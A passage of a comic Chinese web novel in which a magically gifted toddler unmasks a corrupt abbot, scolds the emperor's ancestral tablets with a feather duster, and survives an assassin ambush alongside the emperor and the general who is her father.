“许呦呦这个贱种,哪配戴这么好的东西!”她尖声道,“只有我才配!我才是爹爹的女儿!”
以前在许府,所有的好东西都是先紧着她挑。
许呦呦算什么?
不过是个爹不疼,娘没用的小可怜罢了。
她的东西,自然就是自己的!她毫无顾忌地冲到收拾盒边,伸手就要去抢。“啊………”
秋香上前一步,一脚将她踢开。
“许振山,教育不好孩子,就别出来丢人现眼。”杨婉云声音冰冷的,眼神凉寒。
许娇娇吓得哭的更是凄厉。
李莲茵赶紧上前,将许娇娇抱起来,哭得也是梨花带雨,可怜兮兮地看着许振山。
“姐姐,娇娇还只是个孩子,你怎么能这般残忍……”
“啪啪!!”秋香又上前,扇了李莲茵两耳光。
“李氏,你女儿才四岁,张口闭口就是‘贱种’,这话怕是你没少教她。”
“这两巴掌,是我这个嫡母,教教你们规矩而已。”
“若是以后,再让我听到你们敢骂呦呦,就不是两巴掌这么简单了。”
杨婉云说得不急不缓,却威压十足。
许振山青紫交加的脸更黑了。
他想说什么,却什么都说不出来。
就在这时,一道奶声奶气的声音响起:
“次软饭,不要年。”
众人一愣,齐齐看向许呦呦。
小家伙仰着小脸,一本正经地补充:“硬次软饭,臭不要年。”
珠翠阁里静了一瞬。
随即,有人没忍住,“噗嗤”一声笑了出来。
那几个看热闹的妇人认出杨婉云母女——昨日在镇国大将军府,她们可是亲眼见着顾老夫人和庆王妃如何待她们的。
这可是顾老夫人亲自下帖请的贵客!
是庆王妃搂着叫妹妹的人!
是能一眼看出庆王妃怀了三个的神童!
几个妇人,边笑边不屑:
“哟,这不是许大人吗?带着妾室来挑首饰,还得求正室施舍?这软饭吃的,可真够硬的。”
“可不是嘛,自己没本事养家,倒有脸说‘一家人’?合着杨夫人的嫁妆,就该给你养庶女?”
“噗——我听说他连俸禄都没了,如今花的怕还是杨夫人的银子吧?”
“还有,这妾生的庶女更是个没教养的,张口闭口就是‘贱种’,呸!也不撒泡尿照照自己个什么出身?”
“一个妾室生的庶女,也配骂嫡女?要换我府上,直接乱棍打死……”
几个妇人七嘴八舌地议论着,毫不顾忌。
一时间,各种嘲笑,鄙夷、幸灾乐祸的目光,狠狠审视着他们。
李莲茵捂着红肿的脸,恨不得找条地缝钻进去。
周围鄙夷的话语,还有讥诮的目光。
就像昨日在将军府一样。
不,比昨日更难堪。
此刻,她满眼愤恨地看着杨婉云。
许振山更是羞愧难当,张了张嘴,想说些什么挽回颜面,却什么都说不出来。
“走吧。”他低声道,扯着李莲茵和许娇娇就往外走。
刚走到门口。
“站住!”
掌柜的不知什么时候堵在门口,笑容可掬地伸出手:
“许大人,方才那位小姐拿的那套头面,二百两银子,您还没付呢。”
许振山脸都绿了。
他看了看许娇娇手里的那副头面。
接着,翻遍身上所有的口袋,掏出一把碎银,又摸出几块玉佩,凑在一起,也不过几十两。
许振山的脸涨成猪肝色。
李莲茵在一旁急道:“夫君,你不是说今日带我们来买首饰的吗?”
许振山猛地回头,一脸厌恶。
哪里还有钱,之前偷偷置换杨婉云嫁妆换来的银子,除去修建祖坟,还了静安堂的钱以外,剩下的都用来给母亲和妹妹看病了。
哪里还有闲钱?
今日若不是李莲茵软磨硬泡,他不会出来,更不会受这般屈辱。
此刻,他简直恨死这对母女了。
许振山转过头,恶狠狠地瞪着她:
“你还有脸说?你们娘儿俩,一天到晚就知道买买买!”
“还有你教女无方,娇娇不仅言行无状,还骄奢淫逸。”
李莲茵被骂得愣住,眼眶一红,眼泪吧嗒吧嗒往下掉。
许娇娇还在哭闹:“我要红宝石!我要那个项圈!爹爹你给买!”
“买什么买!”许振山一把甩开她的手,“回家!”
他拽着李莲茵,抱着许娇娇,在众人鄙夷哄笑声中,落荒而逃。
杨婉云眯着眼,看着他们狼狈的身影。
看来,得让那边抓紧时间动手了。
这畜生的死期,该加速了。
第一卷 第30章 窝帮泥,报仇!
杨婉云暗暗查完珠翠阁后,便回了杨府。
她抱着呦呦进正厅,冬梅闪身而入,“夫人,有消息了。”
杨婉云把呦呦放在榻上,接过那张纸条。
只一眼,她的瞳孔骤然收缩。
“陈王?”
冬梅垂首:“是,那日与李莲茵在秀珍楼私会的男子,正是皇帝的兄长——陈王萧煜琰。”
“陈王多年来一直安分守己,待在封地,从不参与朝政,世人皆道他是个闲散王爷。”冬梅的声音压得很低,“可此番他秘密进京,与李莲茵私会,图谋的……怕是不小。”
杨婉云攥紧纸条,指节泛白。
当今皇帝与陈王——同父异母的兄弟。
一个是先皇嫡子,名正言顺继承大统。
一个是庶出长子,被远远打发到封地。
若说陈王心里没有怨,谁信?
杨婉云闭了闭眼,深吸一口气。
这事,太大了。
不是一个商户女,能掺和得了的。
“把纸条烧了。”她沉声道,“此事,暂且保密。”
冬梅点头,接过纸条,转身消失在门外。
杨婉云坐在榻边,心里乱糟糟的。
陈王要谋反?
许振山那个废物,被人当枪使了还不自知?
还有李莲茵那个蠢货,真以为自己能当皇后?
她揉了揉眉心,压下心头的惊涛骇浪。
此事,得慢慢琢磨……
正想着,外头忽然传来一阵急促的脚步声。
“夫人!”刘嬷嬷匆匆进来,满脸喜色,“宫里来人了,说是皇上想见小姐!”
杨婉云丝毫未耽误,当即将许呦呦收拾妥当,交给了一直等在外面的高公公。
最后还是没忍住,吩咐了一句,“呦呦,进宫后,不可贪玩,不可随便外出,娘的教学工具,一直都在。”
许呦呦闻言,浑身一抖,那鸡毛掸子和搓衣板,迟早有一天,窝要把它们消灭掉。
但是她也知道,上次剿匪一事,让娘亲担忧了,于是赶紧乖巧点头,“凉亲,放心,谁来喊窝,就似害窝!”
半个时辰后,乾清宫。
许呦呦被宫人抱进寝殿,一眼就看见龙床上躺着的皇帝。
他靠着床头,面色苍白,眉头紧锁,额上还敷着帕子。
听见动静,他睁开眼,看见心心念念的小团子,眼睛瞬间亮了。
“呦呦!”他朝她伸手,“快过来!”
许呦呦迈着小短腿跑过去,趴在床边,歪着小脑袋看他。
“皇伯伯,泥咋滴啦?”
他坐起身,把小家伙抱到床上,搂在怀里,长长地叹了口气。
“呦呦啊,朕这几日,天天做噩梦。”
小家伙仰头:“虾米噩梦?”
“嗯。”萧景瑜揉着太阳穴,满脸疲惫,“朕的祖宗们,一个个跑到朕梦里来,指着朕的鼻子骂。”
“骂朕专宠皇后,不给皇室开枝散叶。”
“骂朕到现在还没一统三国,振兴东夏。”
“还骂朕,没有善待皇兄,让他一个人在封地凄凄惨惨地活着……”
“总之,就是朕这也不对,那也不对……”
皇帝越说越委屈:“朕怎么就不对了?朕对皇后一心一意,有什么错?朕励精图治,日夜操劳,怎么就不振兴东夏了?”
“可是他们天天来骂朕,朕已经好久不曾安歇过片刻……”
皇帝捂着脑袋,疼的龇牙咧嘴。
许呦呦眯着眼睛,盯着他看了半晌,“皇伯伯,窝帮泥,讨公道去!”
小家伙“噌”地一下站起来,小拳头握得紧紧的。
“肘扒,带窝去!现在!”
皇帝一愣:“去哪?”
“关你祖宗滴地方呀!”
“你是说城外护国寺里的皇家宗祠?”
“对呀,窝帮泥,报仇!”小家伙叉着腰,“敢欺负窝皇伯伯,看窝不抽屎他们!”
皇帝:(【表情】_【表情】)?
可不知为何,他心里竟然涌起一股莫名的期待。
“走!”皇帝一把抱起她,连衣服都没来得及换,“朕带你去!”
“皇伯伯,泥将窝捆起来,再肘!”
“不然,窝肥去,窝凉滴教学工具,阔腻害了!”
小家伙举起小手,示意皇帝将她绑上,到时候,就说她被皇伯伯挟持走掉的。
这样,凉肯定不会对她上手了!
窝阔,真似个大聪明呀!
皇帝闻言,好笑地将她往怀里拢了拢,“呦呦放心,皇伯伯不会让你被你娘教学的!”
说罢,冲高公公使了个眼色,高公公心领神会,赶紧下去安排了。
上次皇帝听说,小家伙去剿匪后,回家被她娘现场教学,心疼坏了。
还让工部,好好研究一下,婴孩所能穿戴的轻便软甲。
一个时辰后,马车到达的城外的护国寺。
此时的护国寺里,香火鼎盛,乃是东夏皇家寺院。
今日虽非节庆,山道上却仍有不少香客往来。
皇帝着便衣前来,随行之人也不多,十分低调,显然不想引起别人的关注。
他抱着许呦呦,沿着青石台阶拾阶而上。
刚踏上第一级台阶。
“咚——”
一声悠远的钟声从寺内传来,浑厚悠长,震得山间鸟雀扑棱棱飞起。
香客们纷纷驻足。
“这……这是护国寺那口百余年未响的撞神钟?”
“撞神钟?不可能吧!”
“咚——”
又是一声。
“咚——”
第三声。
钟声连绵不绝,一声比一声浑厚,震得人头皮发麻。
紧接着。
又有人惊呼出声:“你们快看!那是什么?”
众人顺着他的手指望去,只见护国寺院墙内,一片金光冲天而起。
赶到前一看,后院一池碧水中,一朵朵金色的莲花,层层叠叠,开得如火如荼。
“金莲!是金莲!”
“护国寺那株枯死百年的金莲,开花了!”
没错。
正是那株传说中开国皇帝亲手栽种,已枯死百年的金莲。
此刻,还开得满池金黄,花瓣上流转着淡淡的金光,仿佛佛光普照。
“快看,快看,这树……”
又一道惊呼声响起。
众人抬头看去,只见院中那棵据说与东夏国同龄的老银杏,原本枯黄的叶子,瞬间转绿,郁郁葱葱,生机勃勃。
檐下那一串串迎风铃,无风自动,铃声悠扬。
就连寺前那对石狮子,眼珠都好像转动了一下,朝着台阶上的方向,微微垂首。
众人震惊不已。
第一卷 第31章 泥阔不似好银
不知是谁先反应过来,扑通一声跪倒在地。
紧接着,哗啦啦跪倒一片。
“佛祖显灵了!”
“天降祥瑞啊!”
许呦呦趴在皇帝怀里,捂着眼睛,透过指缝,心虚朝里瞄了一眼。
哎!
泥们,这么敏感干虾米?
窝就似来骂几个银,而已!!
泥们,大阔不必如此!
而寺庙正中的佛像,却一动不动,一副要哭不哭的样子,吓得大气都不敢喘。
这小祖宗,咋跑这儿来了。
多吓人啊!!
皇帝也愣住了。
他来护国寺没有一百次也有八十次,可从没见过这场面啊。
正愣神间,寺门“砰”的一声从里面打开。
一个满脸白须的老和尚,从容不迫地走了出来。
他身着大红袈裟,手持九环锡杖,正是护国寺方丈——了空大师。
了空踉手持佛珠,面色恭敬又温和,向皇帝行礼:
“贫僧恭迎陛下!陛下亲临护国寺,龙气冲天,引动天地祥瑞,实乃我东夏之福,万民之幸!”
他身后,一众僧人也跟着跪下,齐声高呼:“陛下万岁万岁万万岁!”
皇帝被恭维得通体舒泰,龙颜大悦。
“大师平身。”他笑道,“朕今日微服而来,未惊动旁人,就是来看看皇家宗祠而已。”
“看到大师将宗祠打理得井井有条,为我皇家祈福,实在是功不可没啊。”
了空低着头,一脸谦卑:“陛下谬赞,这是贫僧分内之事。”
然而。
忽然间,他不自觉地打了一个寒战。
有一道凉飕飕的目光落在他身上。
了空心头一凛,下意识抬头。
对上一双乌溜溜的大眼睛。
一个小奶娃,趴在皇帝怀里,正歪着头看他。
“泥,阔不似好银!”
了空脸色骤变,但很快恢复如常,勉强挤出一抹慈祥的笑容:
“阿弥陀佛,小施主说笑了。贫僧修行六十余载,日日诵经礼佛,怎会不是好人?”
他转向皇帝猜疑的目光,双手合十:“陛下,童言无忌,这孩子怕是被方才的祥瑞惊着了。”
皇帝皱了皱眉,低头看向怀里的小家伙。
许呦呦小脸绷得紧紧的,盯着了空,腮帮子气得鼓鼓的。
老斧扒发威,当窝似猫猫!
“皇伯伯,”她扯了扯皇帝的衣袖,“抱窝,高高。”
皇帝虽不明所以,却还是依言,把她架在了自己脖子上。
呼……
这下得劲了!
许呦呦居高临下地看着跪在地上的了空,小胖手一指:
“泥个屎秃子,白天银模狗样,晚上衣冠禽兽。”
了空笑容一僵。
“怎么,房间的暗室里,玩滴辣么花,敢做,不敢认?”
了空脸色发白。
“泥还为了似激,在佛佛神像前玩!”
小家伙指着他,眼神却不停地往上飘。
那空中一动不动地佛像,正默默地迎风流泪……
终于有人来,给他出气了!
了空脸上的血色褪尽,浑身开始发抖。
周围的僧人面面相觑,不明所以。
香客们也纷纷竖起耳朵,内心惊诧不已。
了空大师,乃东夏公认的得道高僧。
他修行六十余载,佛法精深,据说上能能通鬼神、下能卜天命。
平日里王公贵族想见他一面都难,更遑论寻常百姓。
他在世人眼中,就是活佛转世般的存在。
众人不敢置信地看着皇帝怀中的小家伙。
许呦呦越说越气,小胸脯一起一伏:
“最可恶的似!泥打捉看运的旗号,用别银生辰八字,偷银气运!”
“皇伯伯的祖祖们,就似被泥强行,偷了气运,才变得精神似常!天天跑去,欺负窝皇伯伯!”
这话一出,全场哗然。
皇帝的脸色瞬间沉了下来。
他猛地转头,目光阴沉地看向跪在地上的了空。
好好好,原来罪魁祸首在这里!
了空浑身颤抖,额头冷汗涔涔而下,却仍强撑着:
“陛下!陛下明鉴!这孩子胡说八道!贫僧修行六十余载,怎会行此大逆不道之事?”
“这孩子定然是妖孽!对,是妖孽啊!”
他指着许呦呦,声音尖锐起来,“方才那些祥瑞,不过蒙人眼目,定是这妖孽作祟!”
“陛下万万不可被她蒙蔽啊!”
皇帝眯起眼,冷冷地看着他,仿佛在看一个死人。
竟然敢说呦呦是妖孽,就冲这一句,就该碎尸万段!
一刻钟后。
“陛下!找到了!”
龙虎卫统领捧着一沓黄符疾步而出,双手呈上。
早在呦呦说他不是好人的时候,皇帝就暗中让龙虎卫前去查看。
此时,皇帝只扫了一眼,脸色便彻底沉了下去。
那黄符上,密密麻麻写着生辰八字,有些他认得,或是是皇家的,或是是朝中重臣的,甚至还有他自己的,以及儿子的!
“还有!”统领面色凝重,“禅房内发现一间暗室,里面……里面关着几个女子,赤身裸体,被铁链锁着。”
人群中爆发出一阵惊呼。
“天呐!了空大师他……他……”
“畜生啊!这是畜生啊!”
“枉我信奉了他这么多年!”
了空彻底瘫软在地,浑身抖如筛糠。
完了。
一切都完了。
但是,他绝不甘心!
在此之前,明明一切都好好的。
他还是那个万人敬仰的得道高僧。
是那个为皇家守宗祠的功臣。
只一夕之间,就全没了!
都怪她,这个小祸害!
了空猛地抬起头,眼中闪过一丝疯狂。
“你毁了我,我怎么可能放过你!”
“要死,大家一起死!”
他咬破舌尖,喷出一口鲜血,双手飞快掐诀,口中念念有词。
刹那间,原本晴朗的天空乌云骤聚,狂风大作。
“轰隆——”
一道惊雷从天而降,竟然直直劈向皇帝和许呦呦!
“护驾!”龙虎卫统领大惊失色,拔刀冲上前去。
这时,许呦呦从皇帝怀里探出小脑袋,眼神灼灼地看着天上。
她伸出小胖手,兴奋地朝着天空挥舞:
“乃呀!乃呀!快来劈屎窝呀!”
皇帝吓得赶紧捂着她的嘴,好家伙,这可是天雷啊!!
许呦呦却拼命挣扎,小嘴不依不挠,“劈屎窝!劈屎窝,窝就肥去了……”
“肥去,窝就挨个找泥们,这群老东西算账!看窝不抽屎泥们!”
突然间,匪夷所思的一幕出现了。
第一卷 第32章 窝,从不讲道德
只见,天空中那一抹黑云团,剧烈抖动了一下。
那道已经劈下来的天雷,硬生生在半空中拐了个弯——
“轰!!!”
直直劈在了空身上。
了空被劈得浑身焦黑,胡须根根竖起,嘴里冒出一股黑烟。
他瞪大眼睛,满脸不可置信。
这……这怎么可能?
真是邪了大门!
他修行六十年,请来的天雷,怎么会劈他自己?
“轰……轰……轰轰……”
在他还未反应过来之际,又有数道惊雷狠狠砸向他。
就感觉……
在报复一般!
天空中的雷云剧烈翻滚,毫不客气。
这死秃子,真尼玛害人啊!
老子刚过几天消停日子,你竟然控制我,去劈那位。
老子就算劈死我自己,也不敢碰她一分啊!!
一连十几道惊雷后,连带着乌云,马不停蹄地滚了,又快又捉急……
转眼间,云开雾散,阳光普照。
仿佛刚才那场惊雷,从没发生过。
了空跪在地上,浑身焦黑,嘴唇哆嗦,却发不出任何声音。
他双目猩红地看向许呦呦,像见了鬼——不,是比鬼更可怕的东西。
许呦呦仰头看了天上一眼,撇了撇嘴。
“切,没意似。”
她骑在皇帝的脖子上,得意洋洋地拍着皇帝的脑袋。
“皇伯伯,介个坏银,窝帮泥抓住啦!”
皇帝脸色凝重,担心呦呦的独特,会被别人知道。
“哎呀,刚才怎么啦?”
“这死和尚,怎么变成这样了?”
“肯定是报应,是报应啊!!”
皇帝看着众人的反应,明显就是没有看到刚才天雷滚滚的样子。
心里虽然震惊,但是也知道,老天爷都在保护这个小崽崽。
这下,他放心了……
他抬起头,看向那个被劈得半死不活的了空,眼神冰冷如霜。
“来人。”
“了空妖言惑众,窃取气运,囚禁女子,罪大恶极。”皇帝一字一顿,“打入天牢,择日凌迟处死。”
“遵命!”
了空被拖了下去,留下一路焦黑的痕迹。
周围的僧人和香客跪了一地,大气都不敢出。
许呦呦被皇帝重新抱到怀中,忽然想起什么。
“皇伯伯,肘,去看泥祖宗叭!”
“好。”皇帝满心欢喜地抱着她,大步朝宗祠走去,“去看朕的祖宗们。”
一路上,低头见到小家伙,在怀里掏来掏去,终于满意地掏出了一样东西。
“呼呼,终于找到咯!”
皇帝一脸震惊,“呦呦,你什么时候,将鸡毛掸子带来了?”
“窝怕凉教育窝,就偷偷顺出乃了!”
“马上,正好用上,替泥出气!”
小家伙还使劲挥了两下,试试手感。
片刻后,皇家宗祠。
一排排牌位静静伫立,烛火摇曳,庄严肃穆。
皇帝抱着呦呦站在门口,神色复杂地看着这些以往他恭敬地不能再恭敬的牌,他在心里默默地给祖宗们点了蜡烛。
许呦呦从他怀里滑下来,迈着小短腿走进去。
她站在那一排排牌位前,仰着小脑袋,看了一圈。
“嗦,似你们谁,欺负窝皇伯伯?”
那上面的牌位,一动不动,表面上噤若寒蝉。
其实。
“娘耶,哪里来的小崽崽?看到她,我怎么忍不住要抖啊……”
“瞧你那没出息样,我不抖,我……我只想跪下!”
“你们看见她身上那刺得我眼睛生疼的金光了吗?”
“哎呦我去,我修炼了几百年的这点小光,都被她刺没了!”
……
整个宗祠里,一片哀戚声。
胆子大的祖宗,一边抖着,一边抬眼打量眼前的小崽崽。
胆子小的,直接低下头抖。
不是,他们也不想抖啊!
他们也想挺直腰杆,但是,就踏马控制不住寄几啊!
“泥们,给窝闭嘴!!”小家伙捂着耳朵,小脸瞬间皱了起来。
真是吵死了!!
“嗦!”小家伙叉着腰,奶声奶气却气势十足,“似谁骂窝皇伯伯滴?给窝站出来!”
最前排的几个牌位应声倒地。
“不嗦是吧?”小家伙眯起眼,“窝再问一遍,似谁?”
“砰!”
剩下的所有牌位,都直挺挺地倒了下去!!
皇帝:【表情】(【表情】【表情】【表情】)【表情】
只见小姑娘,掏出怀中的鸡毛掸子,放在手里拍了拍,“还似不嗦,似吗?”
终于,一个牌位忍不住了,“你……你是谁?凭什么管我皇家之事?”
许呦呦脚步一顿,歪头看向那块牌位——那是东夏开国皇帝的牌位。
鸡毛掸子瞬间对准它,“窝似谁,泥扒用寄道。泥只需要寄道,窝皇伯伯,窝罩滴!”
开国皇帝气得牌位直抖:“我们教训子孙,理所应当!就算你厉害又如何?插手别人家事,才是没道德!”
“虾米,泥嗦窝米道德?”
“泥跟窝,讲道德?”
她扬起鸡毛掸子,对着那块牌位就是一通抽。
“啪!”
“泥寄道,泥们身上杀孽多重吗?”
“啪!”
“泥们孽障缠身,才导致漂亮得得霉运缠身,皇伯伯子嗣薄薄!”
“啪!”
“泥们不好好反省寄几,不好好修炼,被银利用,跑去找子孙麻烦?呸!为老不尊的玩意!”
“啪!”
“还敢跟窝讲道德?窝告诉泥——”
她又是一鸡毛掸子抽下去,奶声奶气却掷地有声:
“窝,从不讲道德!”
“窝,只讲武德!”
霎时间,太庙里惨叫声不断。
皇帝站在门口,只看见自家的小团子挥舞着鸡毛掸子,对着一排排牌位又抽又骂。
而那些牌位——
那些牌位在疯狂跳动!
整个宗祠里,“哗哗啦啦”地一片狼藉。
“祖宗饶命啊!”
“我们错了!我们再也不敢了!”
“小祖宗您别打了!我们这把老骨头经不起啊!”
“都是老大挑的头!是他骂得最凶!我们只是附和!”
“萧铁蛋你放屁!明明是你先骂的!”
牌位们一边惨叫一边互相甩锅,热闹得像放鞭炮。
许呦呦充耳不闻,鸡毛掸子挥舞得虎虎生风。
“啪!”
“窝皇伯伯,似个好皇帝,让泥欺负他!”
“啪!”
“让泥托梦骂人!”
“啪!”
“让泥为老不尊!”
抽了足足一刻钟。
第一卷 第33章 有刺客,护驾!
小家伙终于停下来,叉着腰,喘着粗气。
“呼……呼……累屎窝了……”
她抬起小脸,看向那一排排瑟瑟发抖的牌位。
“嗦,还敢不敢了?”
“不敢了,不敢了!”牌位们齐声求饶,“我们再也不敢了!”
“这还差不多。”小家伙把鸡毛掸子往肩上一扛,奶凶奶凶的,“以后再敢欺负窝皇伯伯,窝天天来抽你们!”
牌位们疯狂抖动,好似在疯狂点头。
许呦呦满意地点点头,转身朝门口走去。
走了两步,又回头,指了指倒在地上的最大的那个牌位。
“把寄几扶起来。堂堂开国皇帝,躺地上像虾米话?”
开国皇帝:……(【表情】﹏【表情】)
下一瞬。
所有牌位们颤颤巍巍地全部自己立起来,排得整整齐齐,乖乖巧巧。
皇帝站在门口,嘴巴张得能塞下一个鸡蛋。
看着小姑娘扛着鸡毛掸子,哼着小调,慢悠悠走了过来……
再看看站得一丝不苟,庄重肃穆的祖宗牌位。
心里默默的“斯哈斯哈”。
刚才那一通鸡毛掸子,他看着都疼,更何况还毫无手之力?
“呦呦,以后,你跟皇伯伯,我们就是天下第一好的人,好不好呀?”
皇帝赶紧蹲下来,将小家伙抱起来,还顺手给她小手轻轻捏了捏。
刚才那左右挥舞的架势,肯定手酸。
还有就是,我跟你好了,以后,可不能这么抽我了!
至于那些祖宗们。
哼!
活该!
谁让他们杀戮太重,让我的瑜儿饱受厄运缠身。
他们不给子孙后代积德,朕有什么好顾忌的。
以后,抱住呦呦的大腿就好了!!
“好,窝们似天下第一好!”小家伙笑眯眯地答应着。
“那窝今天,为泥报仇,泥似不似要,报应窝?”
“小姐,你是说要报答吧?”一直待在门外的冬梅,看到小主子走了出来,赶紧迎了上去。
“对对对,辣虾米一滴水,咬一桶水……”
“小姐,是滴水之恩,要涌泉相报。”冬梅再次纠正。
难怪夫人最近在挑给小姐启蒙的夫子,这……这太难了……
“对对对,皇伯伯,给窝水!”小家伙赶紧将自己空空的小荷包拿了出来。
一边打开钱包,一边义愤填膺。
娘亲每日,只给三个铜板。
哎,连牙缝都不够塞!
“窝也不似要跟泥要钱,做银,得有做银滴原则,窝似在帮泥守原则。”
“好好好,等回去了,皇伯伯一定要好好报答呦呦,给你涌好多好多水……”皇帝憋着笑,宠溺地刮了刮她的小鼻头。
随手又将她的小荷包,拿了过来,心里想着,回去得给小丫头换个更大的荷包,装得满满当当的。
马车慢悠悠地驶离护国寺,车厢内炭火烧得正旺。
许呦呦趴在皇帝怀里沉沉睡去,刚才骂完天雷骂祖宗,实在是骂累了。
皇帝低头看着她,嘴角不自觉弯起来,伸手拢了拢她身上的小毯子。
“陛下,已经到山脚了。”高公公的声音从车帘外传来。
皇帝只轻轻“嗯”了一声,生怕吵醒怀中的小团子。
就在这时。
“嗖——!”
一支利箭破空而来,直直钉在马车厢壁上,箭尾颤动,发出刺耳的嗡鸣。
“有刺客!护驾!”
忽然,四面八方骤然涌出无数黑衣蒙面人,黑压压一片,将他们完全包围了起来。
霎时间。
刀光剑影,喊杀震天。
“啊——!”
惨叫声此起彼伏,皇帝的暗卫们拼死抵抗,可黑衣人实在太多,且个个刀法狠辣,招招直奔要害。
“陛下!快走!”龙虎卫统领挥剑砍翻两个扑上来的刺客,浑身是血地冲到马车前。
皇帝掀开车帘,瞳孔猛然收缩。
这些黑衣人,明显就是死士。
“护着呦呦!”皇帝一把将怀里的小团子塞给冬梅,反手抽出腰间长剑,纵身跃下马车。
“陛下!”高公公吓得魂飞魄散。
早被惊醒的许呦呦,小脸阴沉的难看。
“皇伯伯!后面!”她朝着外面奋力喊道。
皇帝猛地回身,长剑横挡。
“铛”的一声巨响,震得他虎口发麻。
这黑衣人明显是个高手,刀刀狠厉,压得他连连后退。
更多的黑衣人围上来,皇帝的暗卫们拼命抵挡,却一个接一个倒下。
“陛下!快走啊!”龙虎卫统领嘶吼着,身上已经添了七八道伤口,却仍在死战。
皇帝咬紧牙关,一手挥剑,一手死死护着身后的马车。
他不能退。
他死也要保护好呦呦。
然而,下一瞬。
一个黑衣人突破防线,举刀砍向皇帝。
皇帝侧身避开,反手一剑刺穿他的胸膛,鲜血溅了他满脸。
可更多的黑衣人涌了上来。
他们像一群饿狼,红着眼,只知道杀。
皇帝的呼吸越来越重,手臂越来越沉。
身边的护卫越来越少。
“陛下!属下护着您冲出去!”龙虎卫统领拼死杀到他身边,浑身浴血,“马车不要了!快走!”
“不行!”皇帝一剑砍翻一个扑上来的刺客,声音嘶哑,“呦呦还在车上!”
“可是——”
“没有可是!”
皇帝猛地推开他,挥剑迎向又一批黑衣人。
他的衣袍已被鲜血浸透,分不清是敌人的还是自己的。
他只知道,他不能倒。
他倒了,呦呦就没了。
“嗖——”
又一支长箭破空而出,带着凌厉的风声,直直射向皇帝心口。
皇帝瞳孔骤缩。
来不及躲了。
他下意识侧身,想用肩膀去挡……
“biu~~~”
另一支箭却从侧面飞来,却精准无比地撞上那支夺命箭,两箭相撞,“咔嚓”一声断成四截,齐齐落在皇帝脚边。
皇帝猛地转头。
看到一匹黑色骏马疾驰而来,马上之人玄甲银盔,手挽长弓,身姿挺拔如松。
顾振宇!
他身后,骏马疾驰,马蹄声震天动地。
“杀——!”
百十号精兵如猛虎下山,瞬间将黑衣人冲得七零八落。
顾振宇策马冲到皇帝面前,翻身下马,单膝跪地:“臣救驾来迟,请陛下降罪!”
皇帝喘着粗气,看着他,心里是一阵感动。
真不愧是朕两肋插刀的好兄弟!
“你来得正好,救驾及时,回去……”
第一卷 第34章 窝懂,窝懂
“陛下,我女儿呢?”
未等他话说完,顾振宇就扒拉着他,一点都没有关心他是否受伤。
竟然只顾着找女儿。
皇帝的心“咔嚓”一声,碎了……
见皇帝没反应,顾振宇更是着急:“陛下您看着也没事啊,可我闺女呢?你还我闺女啊!”
皇帝捂着胸口,感觉那一箭还不如射死自己得了。
合着,人家不是来救他的,是来救女儿的?
他堂堂一国之君,还不如一个一岁半的小奶娃?
“顾振宇!”皇帝咬牙切齿,“朕好歹也是你曾经两肋插刀的兄弟啊……”
“陛下,人总得往前看。”顾振宇一脸正经,“何况,我有那么可爱的闺女,你有吗?”
皇帝:* ̄︿ ̄
你可真是,哪痛戳哪!
“再说了,”顾振宇压低声音,“我媳妇还没到手呢,不得从闺女抓起?把闺女伺候好了,她娘还能跑?”
皇帝瞪他:“你就这点出息!”
这时,马车帘子掀开,一个小脑袋探了出来。
“爹爹!”许呦呦眼睛一亮,张开小胳膊,“窝,介里!”
顾振宇笑得龇牙咧嘴,三步并作两步冲过去,一把将小团子捞进怀里,举得高高的。
“哎哟,爹爹的乖闺女!吓着没有?有没有受伤?来,赶紧让爹爹看看!”
他上上下下打量,生怕漏掉一根头发丝。
许呦呦被他转得晕乎乎的,咯咯笑起来:“窝米事!窝腻害着呢!”
顾振宇这才松了口气,把她紧紧抱在怀里。
小家伙搂着他的脖子,小脸贴着他的脸,奶声奶气地夸:“窝爹爹,大英雄!又帅又腻害!”
顾振宇嘴角咧到耳根,整个人都飘了。
皇帝站在一旁,酸得像泡了十年的皇伯伯老陈醋。
刚才还跟他说“咱俩天下第一好”呢,转头就把别人夸上天?
他轻咳一声,努力刷存在感。
许呦呦扭头看他,大眼睛眨了眨,忽然咧嘴一笑:
“皇伯伯也腻害!皇伯伯似好皇帝,更似有原则的皇帝!”
皇帝心里一暖,刚要说话——
“所以,”小家伙接着道,“也给窝爹爹,多涌点泉泉呗?”
皇帝:……
顾振宇一听,瞬间明了,眼睛一亮,立刻顺杆子往上爬。
他抱着呦呦,一本正经:“陛下,既然我闺女都说了,那臣便斗胆求两个恩典。”
皇帝挑眉:“说。”
顾振宇抬头,目光灼灼,“一,请陛下下旨,准杨婉云与许振山和离。”
“二,请陛下下旨,为臣和杨婉云赐婚。”
皇帝: ̄_ ̄|||
他低头看看顾振宇怀里那个正冲他眨巴眼的小团子,又看看眼前这个脸比墙厚的大将军。
真是不是一家人,不进一家门啊!
这父女俩,一个比一个会要东西!
“顾振宇,”皇帝轻咳一声,“你先把人搞定,再来朕这儿要圣旨。”
强行违背人家妇女意愿的事,朕可不干!!
顾振宇站起身,信心满满:“陛下等着,臣这就去搞定!”
他说完,抱着呦呦就走。
“诶!”皇帝在后面喊,“你干嘛去?”
“送我闺女回府啊!”顾振宇头也不回,声音里带着笑,“顺便,见见我媳妇!”
皇帝看着他的背影,又好气又好笑。
这小子,刚才还说救驾,现在连装都懒得装了。
许呦呦趴在顾振宇肩上,朝皇帝挥挥小胖手:“皇伯伯,窝肥去啦!下次,还要窝教训泥祖宗,随叫随倒!”
皇帝无奈地笑着,也挥了挥手。
“陛下,这里的死士,一个活口也没有,刚才顾将军到来之时,他们全部自尽了!”
“线索……断了。”龙虎卫头领上前禀报。
皇帝眯了眯眼,幽深的眸子里,寒光阵阵。
看来这有人,是嫌这日子过得太安稳了!
马车旁,冬梅默默跟上。
顾振宇抱着呦呦上马,小心翼翼把她护在怀里。
“爹爹,”小家伙仰头看他,“泥似要去见窝凉吗?”
顾振宇耳根微红:“爹爹……送你回家。”
“嘿嘿。”小家伙笑得贼兮兮的,“窝懂,窝懂!”
顾振宇面色通红地轻咳两声,抱着呦呦策马前行。
马蹄声快,但他的心更轻快,只因那是日思夜想的人儿啊……
“爹爹,”许呦呦忽然仰头看他,“泥很喜欢窝凉?”
顾振宇被问得措手不及,耳根又红了:“咳咳……小孩子家,别瞎问。”
“窝才不瞎!”小家伙理直气壮,“泥眼睛都粘窝凉身上咧!比糖银还粘!”
顾振宇:【表情】【表情】【表情】
“那……爹爹是喜欢。”他声音低下去,带着几分不好意思,“可你娘不喜欢爹爹。”
“窝凉,稀饭!”小家伙拍着胸脯,“窝寄道!”
顾振宇眼睛一亮:“你怎么知道?”
